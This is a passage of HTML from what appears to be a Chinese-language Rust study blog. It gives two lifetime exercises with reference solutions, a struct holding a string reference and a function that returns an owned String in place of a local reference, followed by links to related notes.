class="headerlink" title="练习 2：结构体保存引用"></a>练习 2：结构体保存引用</h3><p>要求：定义保存标题引用的结构体。</p><p>参考答案：</p><div class="code-container" data-rel="Rust"><figure class="iseeu highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">struct</span> <span class="title class_">Title</span><<span class="symbol">'a</span>> {</span><br><span class="line"> text: &<span class="symbol">'a</span> <span class="type">str</span>,</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">fn</span> <span class="title function_">main</span>() {</span><br><span class="line"> <span class="keyword">let</span> <span class="variable">raw</span> = <span class="type">String</span>::<span class="title function_ invoke__">from</span>(<span class="string">"Rust"</span>);</span><br><span class="line"> <span class="keyword">let</span> <span class="variable">title</span> = Title { text: &raw };</span><br><span class="line"> <span class="built_in">println!</span>(<span class="string">"{}"</span>, title.text);</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><p>解释：结构体不能比它内部引用的字符串活得更久。</p><h3 id="练习-3：避免返回局部引用"><a href="#练习-3：避免返回局部引用" class="headerlink" title="练习 3：避免返回局部引用"></a>练习 3：避免返回局部引用</h3><p>要求：修复返回局部字符串引用的错误。</p><p>参考答案：</p><div class="code-container" data-rel="Rust"><figure class="iseeu highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">fn</span> <span class="title function_">make_title</span>() <span class="punctuation">-></span> <span class="type">String</span> {</span><br><span class="line"> <span class="type">String</span>::<span class="title function_ invoke__">from</span>(<span class="string">"Rust"</span>)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">fn</span> <span class="title function_">main</span>() {</span><br><span class="line"> <span class="keyword">let</span> <span class="variable">title</span> = <span class="title function_ invoke__">make_title</span>();</span><br><span class="line"> <span class="built_in">println!</span>(<span class="string">"{title}"</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><p>解释：函数内部创建的数据应返回所有权，而不是返回指向局部变量的引用。</p><h2 id="相关笔记"><a href="#相关笔记" class="headerlink" title="相关笔记"></a>相关笔记</h2><ul><li><a href="https://kylinxin.github.io/2026/04/13/Rust%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0-13-Trait%20%E4%B8%8E%20Trait%20Bound/">Rust学习笔记 13：Trait 与 Trait Bound</a></li><li><a href="https://kylinxin.github.io/2026/04/15/Rust%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0-15-%E5%B8%B8%E7%94%A8%E6%A0%87%E5%87%86%E5%BA%93%E5%87%BD%E6%95%B0%E4%B8%8E%E5%AE%9E%E7%94%A8%E5%AE%8F/">Rust学习笔记 15：常用标准库函数与实用宏</a></li></ul>]]></content>
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<category term="Cargo" scheme="https://kylinxin.github.io/tags/Cargo/"/>
<category term="生命周期" scheme="https://kylinxin.github.io/tags/%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F/"/>
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